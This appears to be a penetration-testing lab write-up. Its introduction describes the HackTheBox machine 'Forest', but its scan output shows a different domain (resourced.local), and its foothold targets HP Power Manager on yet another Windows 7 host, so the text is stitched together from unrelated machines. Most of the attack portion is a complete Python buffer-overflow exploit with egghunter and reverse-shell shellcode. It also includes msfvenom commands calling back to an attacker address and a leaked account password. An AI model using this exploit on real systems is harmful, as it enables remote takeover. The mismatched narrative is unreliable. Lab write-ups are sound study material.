Back to Write Ups
OffSec Windows Easy

Kevin

August 2, 2026

Forest is a Windows Server 2019 Domain Controller on HackTheBox. The path covers null-session RPC enumeration, AS-REP Roasting, BloodHound AD analysis, and ultimately DCSync via an Exchange Windows Permissions WriteDacl abuse chain.

Enumeration

Port Scan

$ nmap 192.168.154.175 -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389 -sC -sV -oN nmap.txt
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-08-07 09:57:48Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: resourced.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: resourced.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-08-07T09:58:30+00:00; +1m04s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: resourced
|   NetBIOS_Domain_Name: resourced
|   NetBIOS_Computer_Name: RESOURCEDC
|   DNS_Domain_Name: resourced.local
|   DNS_Computer_Name: ResourceDC.resourced.local
|   DNS_Tree_Name: resourced.local
|   Product_Version: 10.0.17763
|_  System_Time: 2026-08-07T09:57:50+00:00
| ssl-cert: Subject: commonName=ResourceDC.resourced.local
| Not valid before: 2026-08-06T09:52:50
|_Not valid after:  2027-02-05T09:52:50
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: RESOURCEDC; OS: Windows; CPE: cpe:/o:microsoft:windows

RPC Enumeration

$ rpcclient -U "" -N 192.168.154.175
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[M.Mason] rid:[0x44f]
user:[K.Keen] rid:[0x450]
user:[L.Livingstone] rid:[0x451]
user:[J.Johnson] rid:[0x452]
user:[V.Ventz] rid:[0x453]
user:[S.Swanson] rid:[0x454]
user:[P.Parker] rid:[0x455]
user:[R.Robinson] rid:[0x456]
user:[D.Durant] rid:[0x457]
user:[G.Goldberg] rid:[0x458]

rpcclient $> queryuser 0x453
        User Name   :   V.Ventz
        Full Name   :
        Home Drive  :
        Dir Drive   :
        Profile Path:
        Logon Script:
        Description :   New-hired, reminder: HotelCalifornia194!
        Workstations:
        Comment     :
        Remote Dial :
        Logon Time               :      Thu, 01 Jan 1970 07:00:00 WIB
        Logoff Time              :      Thu, 01 Jan 1970 07:00:00 WIB
        Kickoff Time             :      Thu, 14 Sep 30828 09:48:05 WIB
        Password last set Time   :      Fri, 01 Oct 2021 18:14:52 WIB
        Password can change Time :      Sat, 02 Oct 2021 18:14:52 WIB
        Password must change Time:      Thu, 14 Sep 30828 09:48:05 WIB
        unknown_2[0..31]...
        user_rid :      0x453
        group_rid:      0x201
        acb_info :      0x00000210
        fields_present: 0x00ffffff
        logon_divs:     168
        bad_password_count:     0x00000000
        logon_count:    0x00000000
        padding1[0..7]...
        logon_hrs[0..21]...

Based on RPC enumeration, it show passowrd on Description on user V.Ventz

Web Enumeration

On the web, there’s login page

web

search on google for the default credential, it tells that Hp Power Manager default username is ‘admin’ and for the password is ‘admin’

login_web

On ‘Help Page’ there’s information that tell version of Hp Power Manager

help_page

Foothold

Search the HP Power Manager on searchsploit

$ searchsploit "Hp Power manager" and download it the python file
---------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                   |  Path
----------------------------------------------------------------------------------------------------------------- ---------------------------------
Flying Dog Software Powerslave 4.3 Portalmanager - 'sql_id' Information Disclosure                               | php/webapps/23163.txt
Hewlett-Packard (HP) Power Manager Administration - Remote Buffer Overflow (Metasploit)                          | windows/remote/16785.rb
Hewlett-Packard (HP) Power Manager Administration Power Manager Administration - Universal Buffer Overflow       | windows/remote/10099.py
HP Power Manager - 'formExportDataLogs' Remote Buffer Overflow (Metasploit)                                      | cgi/remote/18015.rb
----------------------------------------------------------------------------------------------------------------- ---------------------------------

Based on the source code, it tells that it use CVE-2009-2685

cve

I can’t understand the source code, so i’m looking for the alternative PoC, and found on github that give tutorial to adjust the payload

#!/usr/bin/python
# This is a python3 port / extension of the HP Power Manager 'formExportDataLogs' Buffer Overflow Script by Muhammad Haidari
# For the original script visit: https://github.com/Muhammd/HP-Power-Manager
# 
# Usage: python3 hp_pm_exploit_p3.py <Remote IP Address> <Remote Port> <Local Listener Port>
# <Remote IP Address>: ip address the HP Power Manager is running on
# <Remote Port>: port the application is running on
# <Local Listener Port>: local port your shellcode is connecting back to -> script starts nc listener to catch reverse shell
#
# Swap out the shellcode
# Tested on HP Power Manager 4.2 (Build 7) on Windows 7 Ultimate (6.1.7600 N/A Build 7600)
# Author: CountablyInfinite

from urllib import parse
from time import sleep
from sys import argv,exit
from socket import socket,AF_INET,SOCK_STREAM
from os import system

try:
   HOST  = argv[1]
   PORT = int(argv[2]) # port the remote application is running on
   LPORT = int(argv[3]) # port the shellcode is connecting back to -> listener gets sta
   if (len(argv)>4):
      raise IndexError
except IndexError: 
   print("Usage: python3 %s <Remote IP Address> <Remote Port> <Local Listener Port>" % argv[0])
   print("Example: python3 %s 10.10.0.1 80 4411" % argv[0])
   exit()

#msfvenom -p windows/shell_reverse_tcp LHOST=<Your IP> LPORT=4411  EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' x86/alpha_mixed --platform windows -f python
egg = "b33fb33f"
buf = egg
buf += "\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += "\x1f\x0e\xd2\x8c\x95\x88\x83\xee\xfc\xe2\xf4\x2e\x64"
buf += "\x17\x8f\xd2\x8c\xf5\x01\x37\xbd\x25\xec\x59\xdc\xa5"
buf += "\x13\x30\x80\x1e\xda\xc6\x07\xe7\xa0\xdd\x3b\xdf\xae"
buf += "\xe3\x73\x39\xb4\xb3\xf0\x97\xa4\xf2\x4d\x5a\x85\xd3"
buf += "\x3b\x77\x7a\x80\xdb\x1e\xda\xa2\x07\xdf\xb4\x59\xc0"
buf += "\x84\xf0\x31\xc4\x94\x59\x83\x07\xcc\xa8\xd3\x5f\x1e"
buf += "\xcc\xca\x6f\xaf\xc1\x59\xb8\x1e\x89\x04\xbd\x6a\x24"
buf += "\x13\x43\x98\x89\x15\x34\x75\xfd\x24\x8f\xf8\x70\xe9"
buf += "\xf1\xb1\xfd\x36\xd4\x1e\xd0\xf6\x8d\x46\xee\x59\x80"
buf += "\xde\x03\x8a\x90\x94\x5b\x59\x88\x1e\x89\x02\x05\xd1"
buf += "\x2c\xf6\xd7\xce\xe9\x8b\xd6\xc4\x77\x32\xd3\xca\xd2"
buf += "\x59\x9e\x7e\x05\x8f\xe4\xa6\xba\xd2\x8c\xfd\xff\xa1"
buf += "\x2e\xca\xdc\xba\xc0\xe2\xae\xd5\x73\x40\x30\x42\x8d"
buf += "\x35\x88\xfb\x48\xc1\xd8\xba\xa5\x15\xe3\xd2\x73\x40"
buf += "\xd8\x82\xdc\xc5\xc8\x82\xcc\xc5\xe0\x38\x83\x4a\x68"
buf += "\x2d\x59\x02\xe2\xd7\xe4\x9f\x83\xd2\x19\xfd\x8a\xd2"
buf += "\xed\xae\x01\x34\xe6\x85\xde\x85\xe4\x0c\x2d\xa6\xed"
buf += "\x6a\x5d\x57\x4c\xe1\x24\x2d\xc2\x9d\xfd\x3e\xe4\x65"
buf += "\x3d\x70\xda\x6a\x5d\xba\xef\xf8\xec\xd2\x05\x76\xdf"
buf += "\x85\xdb\xa4\x7e\xb8\x9e\xcc\xde\x30\x71\xf3\x4f\x96"
buf += "\xa8\xa9\x89\xd3\x01\xd1\xac\xc2\x4a\x95\xcc\x86\xdc"
buf += "\xc3\xde\x84\xca\xc3\xc6\x84\xda\xc6\xde\xba\xf5\x59"
buf += "\xb7\x54\x73\x30\x01\x32\xc2\xc3\xce\x2d\xbc\xfd\x80"
buf += "\x25\x91\xff\x77\x07\x37\x75\x95\xf8\x86\xfd\x2e\x47"
buf += "\x31\x28\x77\x07\xb0\x93\xf4\xd8\x0c\x6e\x68\xa7\x89"
buf += "\x2e\xff\xc1\xfe\xfa\xf2\xd2\xdf\x6a\x5d"

#egghunter.rb -f python -b '\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a' -e b33f -v 'hunter'
hunter =  b""
hunter += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e"
hunter += b"\x3c\x05\x5a\x74\xef\xb8\x62\x33\x33\x66\x89\xd7"
hunter += b"\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

buffer = b"\x41" * (721 -len(hunter))
buffer += b"\x90"*30 + hunter
buffer += b"\xeb\xc2\x90\x90"            #JMP SHORT 0xC2 
buffer += b"\xd5\x74\x41" 	              #pop esi # pop ebx # ret 10 (DevManBE.exe)

content= "dataFormat=comma&exportto=file&fileName=%s" % parse.quote_plus(buffer)
content+="&bMonth=03&bDay=12&bYear=2017&eMonth=03&eDay=12&eYear=2017&LogType=Application&actionType=1%253B"

payload =  "POST /goform/formExportDataLogs HTTP/1.1\r\n"
payload += "Host: %s\r\n" % HOST
payload += "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n"
payload += "Accept: %s\r\n" % buf
payload += "Referer: http://%s/Contents/exportLogs.asp?logType=Application\r\n" % HOST
payload += "Content-Type: application/x-www-form-urlencoded\r\n"
payload += "Content-Length: %s\r\n\r\n" % len(content)
payload += content

s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
print("[+] HP Power Manager 'formExportDataLogs' Buffer Overflow Exploit")
print("[+] Sending exploit to Ip " +str(HOST)+" on port "+str(PORT)+". Starting local listener on port "+str(LPORT))
s.send(payload.encode('latin1'))
system("nc -nlvp "+ str(LPORT))
s.close()

adjust the payload with the output msfvenom

$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.238 LPORT=4444  EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' x86/alpha_mixed --platform windows -f python
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with A valid opcode permutation could not be found.
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 348 (iteration=0)
x86/call4_dword_xor chosen with final size 348
Payload size: 348 bytes
Final size of python file: 1722 bytes
buf =  b""
buf += b"\x31\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e"
buf += b"\x81\x76\x0e\x99\x9f\x85\xbd\x83\xee\xfc\xe2\xf4"
buf += b"\x65\x77\x07\xbd\x99\x9f\xe5\x34\x7c\xae\x45\xd9"
buf += b"\x12\xcf\xb5\x36\xcb\x93\x0e\xef\x8d\x14\xf7\x95"
buf += b"\x96\x28\xcf\x9b\xa8\x60\x29\x81\xf8\xe3\x87\x91"
buf += b"\xb9\x5e\x4a\xb0\x98\x58\x67\x4f\xcb\xc8\x0e\xef"
buf += b"\x89\x14\xcf\x81\x12\xd3\x94\xc5\x7a\xd7\x84\x6c"
buf += b"\xc8\x14\xdc\x9d\x98\x4c\x0e\xf4\x81\x7c\xbf\xf4"
buf += b"\x12\xab\x0e\xbc\x4f\xae\x7a\x11\x58\x50\x88\xbc"
buf += b"\x5e\xa7\x65\xc8\x6f\x9c\xf8\x45\xa2\xe2\xa1\xc8"
buf += b"\x7d\xc7\x0e\xe5\xbd\x9e\x56\xdb\x12\x93\xce\x36"
buf += b"\xc1\x83\x84\x6e\x12\x9b\x0e\xbc\x49\x16\xc1\x99"
buf += b"\xbd\xc4\xde\xdc\xc0\xc5\xd4\x42\x79\xc0\xda\xe7"
buf += b"\x12\x8d\x6e\x30\xc4\xf7\xb6\x8f\x99\x9f\xed\xca"
buf += b"\xea\xad\xda\xe9\xf1\xd3\xf2\x9b\x9e\x60\x50\x05"
buf += b"\x09\x9e\x85\xbd\xb0\x5b\xd1\xed\xf1\xb6\x05\xd6"
buf += b"\x99\x60\x50\xed\xc9\xcf\xd5\xfd\xc9\xdf\xd5\xd5"
buf += b"\x73\x90\x5a\x5d\x66\x4a\x12\xd7\x9c\xf7\x45\x15"
buf += b"\xb4\x71\xed\xbf\x99\x8e\xd9\x34\x7f\xf5\x95\xeb"
buf += b"\xce\xf7\x1c\x18\xed\xfe\x7a\x68\x1c\x5f\xf1\xb1"
buf += b"\x66\xd1\x8d\xc8\x75\xf7\x75\x08\x3b\xc9\x7a\x68"
buf += b"\xf1\xfc\xe8\xd9\x99\x16\x66\xea\xce\xc8\xb4\x4b"
buf += b"\xf3\x8d\xdc\xeb\x7b\x62\xe3\x7a\xdd\xbb\xb9\xbc"
buf += b"\x98\x12\xc1\x99\x89\x59\x85\xf9\xcd\xcf\xd3\xeb"
buf += b"\xcf\xd9\xd3\xf3\xcf\xc9\xd6\xeb\xf1\xe6\x49\x82"
buf += b"\x1f\x60\x50\x34\x79\xd1\xd3\xfb\x66\xaf\xed\xb5"
buf += b"\x1e\x82\xe5\x42\x4c\x24\x1e\x66\xa8\x6f\xed\x1b"
buf += b"\x0c\x22\x18\x42\x4c\xa3\x83\xc1\x93\x1f\x7e\x5d"
buf += b"\xec\x9a\x3e\xfa\x8a\xed\xea\xd7\x99\xcc\x7a\x68"

Prepare the penelope

$ penelope
[+] Listening for reverse shells on 0.0.0.0:4444 -> 127.0.0.1192.168.1.10310.0.0.3172.18.0.1172.19.0.1172.20.0.1172.17.0.1192.168.45.238
  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)

Run the payload

$ python3 hp_pm_exploit_p3.py 192.168.154.45 80 4444
[+] HP Power Manager 'formExportDataLogs' Buffer Overflow Exploit
[+] Sending exploit to Ip 192.168.154.45 on port 80. Starting local listener on port 4444
retrying local 0.0.0.0:4444 : Address already in use
retrying local 0.0.0.0:4444 : Address already in use
retrying local 0.0.0.0:4444 : Address already in use
retrying local 0.0.0.0:4444 : Address already in use
Can't grab 0.0.0.0:4444 with bind

Got response on penelope

$ penelope
[+] Listening for reverse shells on 0.0.0.0:4444 -> 127.0.0.1192.168.1.10310.0.0.3172.18.0.1172.19.0.1172.20.0.1172.17.0.1192.168.45.238
  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] [New Reverse Shell] => KEVIN 192.168.154.45 Microsoft_Windows_7_Ultimate_N_-X86-based_PC 👤 nt authority\system 😍️ Session ID <1>
[+] Added readline support...
[+] Interacting with session [1] • Readline • Menu key Ctrl-D ⇐
[+] Session log: /home/rin/.penelope/sessions/KEVIN~192.168.154.45-Microsoft_Windows_7_Ultimate_N_-X86-based_PC/2026_08_07-16_25_39-810-nt authority\system.log
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
C:\Windows\system32>

Since we directly got user as system, it doesn’t need to privilege Escalation

C:\Windows\system32>whoami
whoami
nt authority\system

Root flagC:\Users\Administrator\Desktop\root.txt

proof.txt

solved

Summary

StepTechnique
ReconNmap, Web Enumeration
FootholdCVE-2009-2685